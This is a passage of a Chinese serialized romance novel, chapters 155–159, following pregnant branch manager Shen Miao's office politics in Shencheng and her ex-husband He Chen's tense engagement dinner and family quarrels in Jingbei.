“客气了,沈总请。” 高振山伸出手,邀请沈渺正式进入到宴会中。 他作为宴会东家,给沈渺介绍在场的人。 沈渺以身体不适为由,躲过了敬酒,周敬才在一旁跟着,别人喝一杯他喝三杯。 旁人无话可说,只能用这种方式敬酒交谈。 两个小时后,酒会散场。 沈渺请酒店的人帮忙,把周敬才抬到车上。 周敬才没喝到一滩烂泥的地步,但比烂泥好不到哪里去。 上了车就从座位上滑溜到地上,蜷缩在那儿趴在座位上,打着酒嗝说胡话。 沈渺让司机联系韩文松,弄清楚周敬才住址,把人送回去。 司机下车去打电话,车厢里只有沈渺跟周敬才。 烟酒味弥漫,沈渺将车窗落下一半,侧目看着窗外霓虹城市街道。 “嗝……放心,我一定把人看好了,嗝!” 周敬才一边打酒嗝,一边信誓旦旦地保证,“我就是您的狗腿子……” 沈渺转过头来,便见周敬才把手机抵在耳朵上,做出接电话的姿势。 但他电话明明没响。 他冲着那头的人保证,“您放心,她的一举一动,我都向您汇报!保证二十四小时跟着她……” 沈渺扯动嘴角,愣是被气笑了。 之所以留下周敬才,就是她觉得这人四肢发达头脑简单。 现在看来,周敬才比她认为的,还要简单。 五分钟后,司机回到车上,驱车先送周敬才回家。 折腾一圈,沈渺再回家时,已经快十二点了。 商商睡了,商音在一楼等着她。 见她回来,立马进厨房,把熬了一下午的汤端出来。 “第一天上班,就这么晚回来,以后可怎么办。” 商音担心她月份更大了,身体撑不住。 沈渺放下包,脱了外套,换上拖鞋,紧绷的状态一下就懈怠下来。 她晚上几乎没吃东西,这会儿饿得前胸贴后背。 坐在餐桌前,喝着热乎乎的鸡汤,顺便让商音再做个简易的三明治给她。 “看公司的现在的状况,未来一个月我都不会很忙。” 她处于被架空的状态。 如果不是今晚的宴会,她早早地下班回来。 说是来这儿独挑大梁,但其实她要做的是把这边的情况一一汇报给贺忱。 贺忱判断风吹草动,远程对这边进行操控。 趁着商音做三明治的功夫,她把今天宴会上几个跟高家关系不错的,听语气又跟韩文松很熟的人,发给林昭。 这些人或许是日后韩家掌控分部的支持者,提前做打算。 同为牛马,林昭这个点也没睡,秒回消息:【贺总让你直接跟他对接。】 沈渺手肘撑在桌沿,捧着手机发消息的姿势,改成了低下头。 手指在屏幕上敲了又敲,给贺忱发短信。 她先发了几个人名过去。 正在编辑第二条,让贺忱调查这几个人时—— 贺忱的电话拨过来了。 沈渺手一抖,手机掉到她腿上。 她反应过来,迅速抓起手机,朝着厨房走出来的商音比划了一个‘嘘’的姿势,然后挺直身体接电话。 “贺总。” “有事电话说,短信看不懂。” 深夜,贺忱声音撩人的低沉。 沈渺,“您让林助调查一下这几个人,他们可能跟韩家有关系。” 那端,一片寂静。 不知道的,还以为电话挂了。 沈渺看了看屏幕,确定电话没挂,她又怀疑,贺忱是不是睡着了。 好一会儿,贺忱的声音才又传来,“没了?” “没,没了。” 听他语气,好像沈渺汇报的这点工作量太少。 有指责她今天一天偷懒的意思。 可短短两小时的酒会,沈渺就能准确无误地察觉到哪些人可能跟韩家有关系,已经是处处留心眼了。 一场酒会下来,她这会儿身心疲惫。 贺忱,“听说深州的天气不错。” ‘啊?’沈渺往窗外看了一眼,漆黑的夜空,她下意识应声,“是不错,挺黑的。” 商音看她说话磕磕巴巴的,聊得也挺让人摸不着头脑,凑过头来贴到手机上。 “还习惯吗。” 贺忱这话刚出,商音倒吸一口凉气,眼睛越瞪越大。 沈渺平缓的眉头皱起,“挺好的,谢谢贺总关系。” “前些日子,微克在深城也成立了分公司。” 贺忱薄唇轻启道,“你可以让张科研申请调职。” 他话题转得突然。 沈渺一时反应不过来,“张科研调职干什么?” 说完,她才想起来那天张科研冒充了她肚子里孩子的父亲。 “我在这边还不稳定,等以后再说吧,就不劳贺总费心了。” 不劳,贺总,字里行间透着的疏离,让这通电话的持续,陷入了微妙。 有些尴尬,却又有股难以忽略的丝丝异样情愫。 贺忱一直没说挂电话。 沈渺率先败下阵来,“贺总,我没有别的工作要汇报了,您早点休息。” “嗯。”男人从鼻腔里发出一个单音节。 电话挂断,忙音传来。 贺忱拿下扣在耳朵上的手机,放在桌子上。 被噤声的秦川如临大赦,他终于敢光明正大地喘口气了。 “沈秘书给你汇报工作?” 贺忱放下手机,转而就拿起高脚杯,深城那边情况复杂。” “那你还让她过去。”秦川提醒,“且不说她是孕妇,她可是个女人。” 贺忱,“她很聪明,跟我也有足够的默契,能里应外合,我不会让她有事的。” 秦川砰了下他酒杯,仰头喝了杯中酒,拿起外套就走,“明天还要工作,今天就到这。” “你话还没说。”贺忱晃着高脚杯里的褐色液体,狭长的眼眸看向秦川,“程唯怡的检查报告有什么问题。” 155.允许办公室恋情吗 “没什么问题,就是找个借口过来。” 秦川提气,“怕你生我的气,不肯跟我喝酒了。” 贺忱抓起纸巾盒就朝他摔过去。 “我看你是找死。” 秦川眼疾手快接住纸巾盒,淡笑着放回桌子上,“走了。” —— “什么情况啊?” 电话一挂,商音就开始嚷嚷,“大半夜他给你打电话啊?” 沈渺把手机放下,“汇报工作。” “咋,百荣是气象局啊?” 商音把餐盘往她面前推了推,在她旁边坐下。 “老实交代,到底怎么回事?” 到底怎么回事? 沈渺回想着这通电话的内容。 并没有超出上下司关系的话题,但就是很微妙。 “真的只是汇报工作,多了一句闲聊而已。” 商音一脸不可思议。 若不是知道沈渺肯定不会骗她,她都怀疑他们背地里又复合了。 深更半夜前夫的电话,问候前期在千里之外习不习惯,天气如何。 “啧啧啧,阴魂不散,人看不到了还得通电话。” 沈渺小口小口吃着东西,沉默下来。 初期的工作汇报,联系密切。 等一切步入正轨,联系就会变少。 过段时间贺忱忙婚事,会把这些工作交给林昭处理,不亲力亲为。 总之,沈渺觉得,他们未来就像两条平行线,再无相交。 “哎你说,贺忱会不会后悔了啊?他觉得你怀了别人的孩子,心里不舒服,就——” “我今天,倒是遇到了一件新鲜事。” 见商音还要在这通电话上,展开一场荒谬的想象,沈渺开口打断她。 “啥?” “今晚酒会,是深城高家举办的,高夫人见了我眼睛都直了,路都走不动,虽然后来我们没再说话,可她一直盯着我看,都给我看得不自在了。” 若不是不能提前离席,沈渺真打算走人。 高夫人打量她的眼神,到了令她不适的地步。 “同性恋?” 商音嘴里蹦出三个字的同时,她脑袋里蹦出了秦川。 沈渺,“你是水土不服,反应到脑子上了?” “……”商音心虚地轻咳两声,“那,你自己说嘛!一个中年老妇女总盯着你看,能是为什么?” 沈渺要是猜得透,就直接告诉商音了。 别说猜不透,她连一点头绪都没有。 “算了,不提这些了,明天我去家政公司,找长期保姆兼月嫂,公司推荐了几个我过去看看。” 商音伸了个懒腰,“你赶快吃完了,早点去睡。” 沈渺,“不用这么着急,刚搬过来商商还不习惯,你多带带他,别着急复播。” “那可不行,等你生了孩子花钱的地方多的是呢,我得提前准备好,成为你坚强的后盾,确保不让你和孩子受委屈。” 商音低下头,伸出手摸了摸她的肚子,“最后这三个多月,孩子长肉特别快,你多吃点,让小家伙茁壮成长。” 沈渺也想多吃,可她胃口不大,吃多了难受。 两人又聊几句,然后各自回房休息。 次日,沈渺准时到公司。 彼时,李白恬已经在她办公室门口等着了。 “渺渺姐!” 看到她从电梯出来,李白恬朝她一路小跑,“没想到,我真的抱住了你这颗大腿子!” “站好了。” 沈渺四下看了两眼,不少双眼睛盯着呢。 李白恬立马站直了,“我忘了,你现在是沈总!” “跟我进来。”沈渺率先进入办公室。 李白恬跟进来,关上门,“刚刚一个自称人事部的赵经理,让我过去办转职手续,人家都等半天了,我现在过去?” 沈渺放下公文包,坐下来,示意她也坐下。 “不办,你的雇佣合同在总部,不转到这边来。” 李白恬后知后觉地发现气氛不对,她乖乖坐下来。 “为什么啊?我难道,还回去吗?” 沈渺,“这边情况复杂,记住,只听我的一个人的话,谁找你有任何事,你都往我身上推。” 闻言,李白恬的脸色更凝重了,“啥情况啊?有内贼啊?” “不是内贼,是正常内部斗争。” 沈渺见她凝重的面色,涌出来慌乱,又安抚道,“放心,贺总会处理好,我们只要干好分内之事就行了。” 李白恬想的是,到这儿抱着沈渺大腿,做个快乐的小秘书,每天摸摸鱼打打杂。 谁知道—— “我现在后悔还来得及吗?” 沈渺无奈又好笑,“晚了,我们是一条绳上的蚂蚱,公司上下就我们两个相依为命。” 李白恬顿时一脸菜色。 沈渺还想说什么,办公室的门被敲响。 “沈总。”周敬才的声音传来。 “进。”沈渺递给李白恬一个安心的眼神,看向门口。 周敬才推门而入,阔步进来,“沈总,抱歉,我今天迟到了五分钟,昨天喝的实在有些多。” 说完,他打量着坐在位置上的李白恬,目光狐疑却并未问。 沈渺,“昨天晚上辛苦你了,迟到不处罚。” 她朝李白恬抬了抬下巴道,“这是总部调过来的秘书,你们互相认识一下吧。” 李白恬有些心有余悸,周敬才进来后她没敢看他。 直到沈渺让她认识一下,她才站起来,朝周敬才看去。 谁知这一看,心有余悸就变成了心跳加速。 “你好,周敬才。” 周敬才朝李白恬伸出手,“我是沈总的助理。” 李白恬眼冒桃花,直勾勾盯着人,“李,李白恬,你可以叫我恬恬。” “恬恬。”周敬才冲她一笑。 笑得李白恬脑袋充血一样,人都晕头转向。 沈渺:“……” 她忍不住捏眉。 说实话,她怀疑周敬才是韩文松给她准备的美男计。 她才不会上当,周敬才固然帅,可在贺忱面前也是黯然失色的。 但她没想到,李白恬禁不住诱惑。 “李秘书。”沈渺开口喊了李白恬一声。 李白恬回神,立马伸出手去,“周,周助理,你名字真好听。” 周敬才穿着纯黑色西装,没打领带,外套扣子敞开着,白色衬衫领口几颗没系的扣子,露出若隐若现的胸膛。 帅气中带着一丝不逊和年轻气盛,可以说长在了李白恬的审美上。 符合她对另外一半的所有要求,还超出了她的预估。 “周助理,你先去忙,我再跟她聊两句。” 沈渺开口赶人。 周敬才识趣,转身就走了。 办公室的门刚关上,沈渺还没来得及叮嘱李白恬。 李白恬先开了口,“渺渺姐,他长得好帅啊,分部这边允许办公室恋情吗?” 156.今晚你就住他房间吧 沈渺有种被雷轰了的无力感。 而这雷,还是她自己引下来的。 “忘了我刚刚跟你说的什么?这公司上下,只有我们两个是一条绳上的蚂蚱。” 李白恬脸色一僵,眼底的热度褪去不少,“他是坏人的爪牙吗?” 沈渺挑了下眉,意思不言而喻。 “那真可惜。”李白恬的兴奋肉眼可见地消失,“长得这么帅,我连跟他的孩子叫什么,都想好了。” “你要是敢被他色诱住,坏了我的好事,该想的就是自己埋哪儿。” 沈渺半吓唬半玩笑,但她很认真。 李白恬立马摇头,双手捂住嘴,声音在指缝里传出来。 “不不不,我保证禁住诱惑!” 沈渺觉得李白恬听话,又足够忠心,所以才把她调过来。 但此刻,突然又—— “总之,记住我的话,出去吧,让周敬才带你熟悉一下公司。” 李白恬竖起三根手指打保证,“沈总放心,我生是你的人,死是你的鬼,背叛你的事情,我绝对不干!” 沈渺挥手,“去吧。” “你跟了贺总这么多年,都能禁得住贺总的诱惑,我向你学习!” 听似是在跟沈渺说话,但李白恬却是狠狠掐着自己大腿,警示自己。 “一定要向渺渺姐学习,做个女强人……” 她视死如归般,转身离开。 沈渺脑仁大,好在除了初次见面的惊艳动心,李白恬没再对周敬才表现出不受控的心动。 —— “贺总,沈秘书发过来的几个人都已经调查清楚了,确实私下跟韩家往来密切,我已经把调查到的东西,发到沈秘书邮箱了,顺便也往您邮箱发了一份……” 林昭汇报工作。 说道发到‘沈秘书邮箱了’时,他背脊莫名一寒。 对上贺忱投来的目光,他‘嘶’了一声,立刻拿出手机点开邮箱,撤回发给沈渺的邮件。 “贺总,我的手机信号可能不太好,发送失败了,要不由您把这些资料,发给沈秘书吧?” 贺忱移开凝着他的目光,看向电脑,点开邮箱,一通操作后,他鼻腔里发出一个单音节。 “嗯。” 林昭松一口气,“另外,明董让我把您的工作安排开,明天去看婚礼酒店。” “没空。”贺忱薄唇吐出两个字。 “明董说,您要是不去,她就来公司找您,直到您同意去为止。” 林昭如实转达明黎艳的话。 最近,贺忱吃住都在公司,连周六的家宴都不回家了。 不接明黎艳的电话,不回明黎艳的消息。 明黎艳没办法了,才给林昭打电话。 贺忱眯起眸光,“今晚回贺家。” “是。”林昭颔首。 贺忱看了眼邮件,然后给沈渺发过去。 但两个小时,收件箱只有沈渺设置的自动回复邮件。 甚至沈渺还没点开那封邮件。 午餐前,贺忱拿过手机,拨通了沈渺的电话。 不出几秒,电话接通。 “贺总?” 沈渺语气惊讶,很快又平静下来,“您说。” 贺忱,“你要查的几个人,发到你邮箱了。” “我看到了。”沈渺说完,又添一句,“上午在开会,没来得及看。” 贺忱,“看一眼,有问题再跟我说。” 沈渺,“好。” “现在看。” 赶在沈渺挂电话之前,贺忱的声音又传来。 这意思是,现在看邮件,有问题现在就说。 沈渺只能把手机放到一旁,点开邮件,查看那几个人的资料。 通话始终保持。 不知过了多久,沈渺的声音再度传来,“贺总,没什么问题。” 电话那端一片安静。 沈渺又喊了一声,“贺总?” “那就好。”贺忱吐出三个字,挂了电话。 ‘嘟嘟嘟’的忙音,一下又一下,规律且有力地响着。 沈渺盯着屏幕看了几秒,眉头一下收拢。 她将手机放到一边,继续处理工作。 只是没隔一会儿,她总要下意识看上一眼手机。 果不其然,贺忱又发了消息过来。 【为确保安全,每天准时电话报平安。】 虽说商场如战场,但也没到会遭黑手的地步。 用得着电话报平安吗? 沈渺心底诽谤,却回消息:【是,贺总。】 京北,夜色撩人。 贺家老宅。 贺忱回到家里时,客厅一片其乐融融。 程唯怡穿着水红色长裙,乌黑的长发披散着,脸上画着精致妆容。 她坐在明黎艳旁边,正与贺家二老聊着什么。 贺老夫人扯官方笑容扯得腮帮子都僵了。 看到贺忱进来,她立马招手,“贺忱回来了,赶快开饭吧。” 她起身,借助让贺懿搀扶的机会,把贺懿也解救于水火之中。 明黎艳给程唯怡使眼色,程唯怡起身朝贺忱走过去,伸出手接贺忱的外套。 “贺忱哥。” “嗯。”贺忱将外套挂起来,面色寡淡,绕开程唯怡朝餐厅走。 程唯怡笑容一浅,转身追过来。 “我们有好几个酒店预定方案,到时候兵分两路,我妈和伯母去看城南那两个酒店,我们看城北的。” 贺忱步伐顿了下,片刻恢复如常,他一言不发,挽起袖口进入餐厅。 “爷爷,奶奶。” 朝着贺家二老颔首打招呼后,他在首位旁边的位置坐下。 贺岭山出差不在家,他坐在贺老爷子旁边。 明黎艳带着贺懿坐在贺老夫人旁边。 程唯怡顺理成章坐在了贺忱左边。 “唯怡,今晚就在这儿睡,别走了。” 明黎艳先开了口,“明天早上你跟贺忱直接去城北的酒店,省得他还得去程家接你。” 程唯怡观察着贺忱的脸色。 “贺忱哥明天有时间吗?” 明黎艳含笑的眼眸在看到贺忱面无表情的样子时,渐渐涌上来不满。 “林昭把你的行程发给我了,上午的会议推迟一下,又不是重要的事情。” 贺忱沉一口气,拿过汤勺给二老添汤,“你们定就好。” 明黎艳拧眉,“结婚这么大的事情,你怎么能这么不上心?明天你必须去。” 说吧,她看向程唯怡,“今晚你就住他房间吧,反正都订婚了,结婚是板上钉钉的事情,爷爷奶奶都等着抱孙子呢,结婚时来个双喜临门最好了。” 157.不想回就留下,住我房间 贺忱拿筷子的手一拢,面上却如常的淡定。 他侧目看向程唯怡。 程唯怡眼底的欣喜和激动,几乎在一瞬间涌上来。 但她想到什么,很快又压下去,紧抿起嘴唇。 她也侧目看向贺忱,目光里带着淡淡的复杂。 “你若想回,我送你。”贺忱薄唇轻启道。 程唯怡,“那,如果不想回呢?” 贺懿撇嘴晃脑袋,无声地学了程唯怡的话。 明黎艳在桌子底下掐她一把,她‘嘶’了声,差点儿没跳起来。 缓过来,她立马挪动椅子往贺老夫人那边靠。 贺老夫人警示般地看一眼明黎艳。 “想留下就直接说呗,装什么装。” 有了贺老夫人撑腰,贺懿更肆无忌惮。 为什么她跟程唯怡成不了朋友? 她一女的,都受不了程唯怡整天拐弯抹角的说话。 张嘴是用来说话的,不是用来出字谜的,要不大家都是哑巴用手比划得了呗? 下人在厨房收拾,一阵阵杂音传出来,将她的话掩住。 别说程唯怡,就连坐在她身边的明黎艳都没有听清楚她说了什么。 贺老夫人倒是听见了,想笑又不合适,轻轻在贺懿脑袋上拍打了一下。 贺懿吐吐舌头,继而看向贺忱。 “不想回就留下。”贺忱慢条斯理地吃着东西,“住我房间。” 程唯怡的心快从嗓子眼里跳出来了。 身边的男人身上有股淡淡的沉香,白色的衬衫紧紧熨贴着的精壮胸膛,是她不知想了多少次想抱的! 今晚,住他房间。 贺懿看戏的笑容顿时没了。 程唯怡嘴角压不住了,她点头,“这么晚了,就不劳烦贺忱哥再送我回去了,我,我就留下来吧。” “留下留下,等会儿我就让人把房间重新收拾一下。” 明黎艳欣慰一笑。 程唯怡跟贺忱的关系更近一步,真到结婚那天双喜临门。 这段时间,贺家的乱子就算烟消云散,扬眉吐气了。 “吃饭吧。” 贺老夫人给贺懿加了一块排骨,示意贺懿快吃。 吃饱了赶紧走,眼不见为净。 贺懿埋头吃东西。 饭桌上,只有明黎艳一直跟程唯怡聊天,商量婚礼的细节。 “贺忱,你觉得怎么样?” 两人说完,明黎艳问贺忱。 贺忱,“你们定就好,我没意见。” 他放下筷子,朝贺家二老颔首,“爷爷,奶奶,我吃饱了,你们慢用。” “去吧。”贺老爷子挥手,示意他离开。 “楼上还没收拾出来,你上去干什么?结婚的事情,你总不能一点意见都不给。” 明黎艳喊住他,“坐下,等会儿跟唯怡一起上去。” 贺忱已经起来,他将椅子推回餐桌前,“我说了,你们定就好。” 说完,他转身上楼。 毕竟是婚礼,一辈子只有一次的大事。 贺忱这个态度,程唯怡心里的失落是难掩的。 “贺忱!” 明黎艳重重将筷子放下,震得餐厅抖了几抖。 “他是男人,不拘小节,差不多就行了,不就是个婚礼。” 贺老爷子黑了脸,这话一半冲明黎艳,一半冲程唯怡。 不就是个婚礼,贺家儿媳妇,还得全家总动员? 明黎艳被气狠了,在长辈面前失态。 她收敛了情绪,扯出一抹僵硬笑容来,“爸,我是担心万一婚礼细节他不喜欢,未免太遗憾了,毕竟他这一辈子,就结这一次婚。” “不一定。”贺老夫人小口小口品着汤。 她这话落地,程唯怡的脸色煞白,又渐青。 “妈,您说什么呢?”明黎艳的笑容挂不住了,“什么叫不一定!” 贺老夫人慢悠悠抬起头来,“就他这臭脾气,万一以后唯怡不想跟他过了,离了不还得再找?” “怎么会?”明黎艳语气几乎笃定,“唯怡最喜欢他了,从小一起长大他什么德行的,她都知道,受不了的话怎么会在一起?” 说完,她看向程唯怡,“是吧?” 程唯怡下意识点头,“当然。” “我吃饱了。”贺懿冲贺家二老一笑,“爷爷奶奶,你们慢慢吃。” 她刚起身,贺老夫人也放下了筷子,“我也好了,去泡壶茶,到客厅坐坐。” 贺懿应声,调转方向朝茶台走去,泡了一壶绿茶,端到客厅跟贺老夫人坐下聊天。 没一会儿,程唯怡吃饱饭上楼去了。 明黎艳朝客厅走过来,“小懿,给你哥他们送个果盘上去。” “我不去。”贺懿想都不想就说,“让章妈去。” “你这孩子,怎么一点事都不懂。” 明黎艳在她对面坐下,教育着,“她跟你哥马上就结婚了,你们必须好好处,不然让外人看了笑话,快去。” 贺懿不情不愿地看向贺老夫人,试图求助。 “去吧。”贺老夫人却没再护着她。 毕竟,明黎艳说得有道理。 贺懿哼了一声,起身去厨房端果盘上楼。 此刻,贺忱的房间。 下人是会办事的,特意挑了一套红色喜庆的床品,房间里透着喜气,像是要结婚了一样。 贺忱在浴室洗澡。 程唯怡坐在床尾的沙发上,看着那张双人床,不知在想什么,脸颊发红。 她等这一天,等了太久。 终于来了! “吃水果。” 贺懿端着果盘进来,看到程唯怡双腮发粉,像是发了情,实在喜欢不起来。 她承认,当初沈渺看贺忱的眼神也不清白,当时一定也是喜欢贺忱的。 但沈渺从未表现出这么——猛虎扑食的饥渴。 她放下水果就要走。 贺懿这不怎么好的态度,将程唯怡的思绪拉回来。 程唯怡拧着眉,语气带了几分不满,“你进我们房间,不知道敲门吗?” 贺懿往外走的脚步一顿,好笑地回过头来。 “房门开着呢,敲什么门啊?” “那也要敲门。”程唯怡站起来说,“你都这么大的人了,还需要我教你规矩吗?” 贺懿:“……” 给了点儿颜色,程唯怡就要开染坊。 哪里是贺懿不肯跟程唯怡处好关系,实在是程唯怡这人最会得了便宜卖乖。 “这是我哥的房间,我进我哥房间就没敲过门!” 程唯怡,“现在这是我们的房间,以后你就得敲门。” “你有没有搞错啊?”贺懿撸起袖子双手叉腰,据理力争,“以前渺渺跟我哥在床上的时候,我都推门直接进来,你受得了就受,受不了就走!” 158.都是渺渺睡过的床了,没见过世面! 猝不及防地提到沈渺。 程唯怡的好心情一瞬间全都被破坏。 “那是以前,你以后不许再提沈渺,我是你嫂子,你给我放尊重点!不然被怪我跟你翻脸!” 贺懿心直口快,说完她也知道这个时候提沈渺确实不好。 是对沈渺不好,毕竟人都已经走了,脱离了关系,她这不是给沈渺增加了无端仇恨吗? 可程唯怡的反应,又将她的暴脾气点燃了。 “我说的是事实!少拿嫂子的身份压我,你能不能嫁给我哥还两说,但我一定是我哥的妹妹!” 程唯怡:“!!!” “睡我哥房间就给你神气成这样了,嫁进来你不得戳着我脊梁骨说话啊?有什么了不起的,都是渺渺睡过的床了,没见过世面的样子!” 贺懿头脑风暴,逮住什么说什么。 说完见程唯怡的脸色铁青煞白,她心里‘咯噔’一声。 完了,这次是真惹事了。 不等程唯怡再说什么,她转身就跑了。 她不敢下楼,今天这些话要是让明黎艳知道,就是贺老夫人也保不住她! 但她又觉得自己没错。 她掏出手机就给沈渺打电话。 电话响了很久,沈渺才接。 “小懿。” 此刻,沈渺正准备下班,她站在公司门口接的电话。 “完了渺渺,我惹事儿了。” 贺懿一股脑地将刚才的事情都说了。 出于心虚,她没敢说自己提到了沈渺,只说跟程唯怡吵起来了。 “程唯怡这人真的很过分,前段时间她给我发消息,都唯唯诺诺地讨好我,今天能爬上我哥床了,对我鼻孔朝天,她要结了婚,肯定在我面前作威作福!” “偏偏我妈还向着她,我以后在这个家里越来越没地位了,奶奶为了保持公平,也不能明目张胆地偏袒我,我要不去深城投奔你吧。” 深城的夜风有些凉。 沈渺往路边走,迎面来的风吹动她裙摆,凉意涌上她心头。 只是听到贺懿的话,她的心间又蔓延出烦躁。 “深城情况不稳,你别来了,好好在总部待着,以后……跟程唯怡好好相处,别让外人看了笑话。” “你看,你跟我妈一个出发点,都怕我跟程唯怡不和被外人看了笑话,我妈怎么就发现不了你的好呢。” 贺懿越来越遗憾,沈渺跟贺忱怎么就离婚了呢? 贺忱娶谁不行,非要娶那个烦人精。 “过去的事情,别再提了。” 沈渺劝慰了贺懿两句,然后挂了电话。 只是没敲门的小事,都能让贺懿跟程唯怡吵起来,以后程唯怡进门,矛盾只会更多。 沈渺记得,她第一次在贺家过夜时,贺懿也是不敲门就进来了。 当时是贺老夫人让她来送水果。 她跟贺忱领完证回贺家,当晚留宿,那时他们刚发生关系没多久。 彼此还不能熟悉跨越了上司和下属关系,更进一步的接触。 他们洗过澡,躺在床上。 她紧张地攥着被角。 身边的男人看似淡定自若,手里的书都拿反了。 贺懿突然闯进来,化解了他们之间那股紧张微妙。 但贺懿出去时,贺忱还是交代了一句,“下次再进来敲门。” 贺懿‘哦’了一声,可她还是不长记性。 所以后来她跟贺忱很少留宿老宅。 偶尔留宿,贺忱会锁门。 沈渺总觉得,那两年的婚姻,回忆不多。 可不知怎的,贺懿的一通电话,就让她思绪万千,回想起很多。 司机开车过来,停在路边,下车将车门打开。 沈渺把手机收起来,转身上了车。 贺忱让她每天晚上下班,打电话保平安。 但她,还是别打扰他和程唯怡了吧。 车窗半落,凉凉的夜风吹来,一股冷意侵袭着沈渺的身体。 她拿过车里备用的毯子,披在身上。 “沈总,高夫人邀请您明天下午,到她新开的会所里品茶。” 前座,周敬才询问着,“您去吗?” 沈渺的思绪扯回来。 如今,她手里的实权不多,工作安排少,时间很富裕。 她捏了捏眉心,摇头道,“送个花篮过去,我就不去了。” “但是高夫人说,明天去的都是深城商圈各界大佬的太太,能帮您引荐一下。” 周敬才回过头来,分析了一番,“我觉得您该去。” 沈渺自然知道,她理应去。 公司内部不稳,她该权利拉拢外界势力,稳住自己的脚。 可是她怀孕的事情,最好延迟公开。 而贵太太们眼睛毒,有当场被看出来的风险。 “不去。” 她又说了一遍。 周敬才拒绝了高太太。 没几秒,周敬才就为难道,“高太太那边要您的电话,想亲自打电话请您过去。” 沈渺眉头一拧,想到那天酒会上高太太看她时的异样目光。 她沉吟片刻道,“那就帮我应了吧。” “好。”周敬才将下午的行程安排好。 半小时后,沈渺从车上下来。 她拎着包走到家门口,正准备开门时,手机响了。 她缩回开门的手,从包里拿出手机。 本以为是高太太打来的,她下意识地滑动屏幕。 待电话接起的时候,她才看清楚屏幕上那串号码,是来自京北的。 “下班了。” 贺忱富有磁性的嗓音传来。 沈渺大脑宕机几秒,快速回答,“下班了。” “忘了我跟你说的?”贺忱语气不虞。 “没忘,只是时间太晚,怕打扰贺总休息。” 沈渺没想到,她没主动报平安,贺忱会打电话过来。 贺忱,“我什么时候比你睡得早过?” 确实没有。 一般她都比贺忱早下班。 结婚那段时间,他们一起休息。 她也会被他折腾得体力不支,先睡过去。 但,现在是讨论这个问题的时候吗? “让贺总惦记了,明天我会主动报备。” 沈渺这话,有结束沟通的意思。 可电话那端,却安静下来,没了动静。 好一会儿,就在沈渺想直接把电话挂了时—— “贺忱哥,我困了。” 程唯怡的声音突然传来。 沈渺眸光一颤,将手机拿开耳畔,挂电话的速度更快了。 不给自己多余单独的时间,她解开锁门进入家中。 “音音。” 她刚进门,便开口喊商音。 159.她至今还会被贺忱影响。 商音穿着浅米色睡衣,系着灰色围裙,从厨房出来。 “加餐做好了,快洗手准备吃。” 沈渺放下包,脱掉外套挂起来,撸起袖子进厨房洗手。 “闻着就香,你的手艺进步不少。” 商音目光得意,“那是,我得练好厨艺,好给商商做辅食。” 为了孩子,商音变了很多。 她一向遵循女人的手也是用来打天下的,不应该沾柴米油盐酱醋茶。 眼看商商马上就要添辅食,她变着法地折腾厨艺。 三分钟后,一碗热腾腾的海鲜面出炉。 面热,沈渺一边翻拌一边给商音聊天。 “商商这几天有没有不适应的地方?” 商音搓着下巴,在她对面坐着。 “没有,他随我,可随和了,就是可惜没找到合适的育儿嫂带她。” 商音那浓烈的母爱,随着几天亲力亲为带娃,一点点被耗尽。 沈渺,“不急,慢慢找,网上有很多育儿嫂虐待小孩的,不能马虎。” “不过,我倒是给你找好了月子中心,这两天有空去看看,提前定下来,那家月子中心可忙了,得提前好几个月预约。” 按理说,沈渺现在预约已经晚了。 幸好那家月子中心,有人是商音的粉丝,给走了后门,挤出来一个名额。 沈渺点头,“好,等我到公司看看行程安排,提前告诉你什么时候去。” “行。”商音抬起头看了眼玄关的表,“吃饱赶紧睡,明天还得上班,我先上楼了。” “不急。”沈渺忙不迭开口,“再陪我坐会儿。” 商音脚步一顿,折回来打量起沈渺。 不对劲。 沈渺往日里话可没这么多。 一进门就喊她的名字,快速地切入话题聊天。 进门这么久,她几乎就没停下来说话,虽然言简意赅,但也比平时的沉默寡言多了许多回应。 “怎么了?”她重新坐下来,打量着沈渺,“遇到什么事情了?” 沈渺回来的路上就饿了。 这碗面也很香,可是她双手捧着碗,却一点食欲都没有。 “没事。”她低头看着面碗,低垂着的眼帘令人看不透她表情。 可她的脸上,写着‘有事’两个大字。 商音大脑飞速运转,想到什么似的说,“跟贺忱有关吧?” “就是工作有些累,音音,我想等稳定一些后,辞职。” 沈渺不可否认,她至今还会被贺忱影响。 理智和感性在她这儿,是并行不相上下的。 她不想搞自己心态。 “辞。”商音毫不犹豫地说,“要不是现在咱缺点钱,才不伺候贺忱呢。” 说着,她想起一件事情,话锋一转道,“我这两天给你做营养餐,突然有了个想法,起个新号,专门记录商商的成长,跟你这个大肚婆的日常,放心不拍脸。” 沈渺点头,“随你。” 说完,她看了眼楼上,又挤出一个笑容,“去睡吧,我也累了,吃完赶紧休息。” “陪你吃完,赶紧吃吧。” 商音冲她一笑,分享着商商好玩的事情,转移沈渺的注意力。 “商商现在可调皮了,今天捣乱我吵了他两句,他居然敢还嘴了‘啊啊啊’地冲着我叫……” 沈渺吃着面,听她说着,有一搭没一搭地聊。 可就算是这样,当晚,她还是失眠了。 —— 京北,贺家。 程唯怡刚洗过澡,穿着红色的睡衣,刚过屁股,露出两条白花花的大腿。 她拉开阳台的门出来,羞答答地看着贺忱。 贺忱回头看了她一眼,没等反应过来时,耳畔就传来忙音。 他将手机拿下来,看着挂断电话的界面,眸色一深。 片刻,他把手机放回口袋里。 “困了就早点休息,我先走了。” 他目不斜视的进入卧室,朝门口走去。 程唯怡一愣,转身跟上他,“你去哪里啊?” 贺忱,“明天一早有会议,在老宅过去太远,我回兰园。” “回,回兰园?”程唯怡傻了。 说好的让她留下来,住他房间,不是一起睡的意思吗? 贺忱折身往楼下走。 程唯怡反应过来,快步追上去,“贺忱哥,这么晚了你就别走了,明天早起来半小时去公司不行吗?” “不了。” 贺忱整顿腕表,下楼的步伐不减。 “你走了,那,那我呢?”程唯怡想说我跟你一起走。 可她又说不出口这种话。 “当自己家,住下来就行,反正又不是没住过。” 贺忱走到玄关换鞋,回头看了她一眼,“早点休息。” 说完他推门离开。 程唯怡想追出来,可看他不容拒绝的脸色,她的双腿犹如灌了铅。 追上去有什么用? 贺忱不会留下来的! 院子里传来引擎声,油门轰鸣,渐渐远去。 明黎艳在房间里听京剧敷面膜,贺岭山已经躺下,两人都没发现有人开车走了。 贺老爷子跟贺老夫人年纪大了,耳朵不好使,也没听见。 全家上下,就贺懿一个耳朵灵敏的。 她一骨碌爬起来,到窗边一看。 “我哥走了?跟程唯怡一起走的?咋,嫌家里隔音不好?” 她下床推开门,想去楼上看看,贺忱到底是走了还是有事出去,程唯怡在不在? 谁知她刚走到二楼栏杆处,就看到程唯怡孤单的身影,在玄关站着。 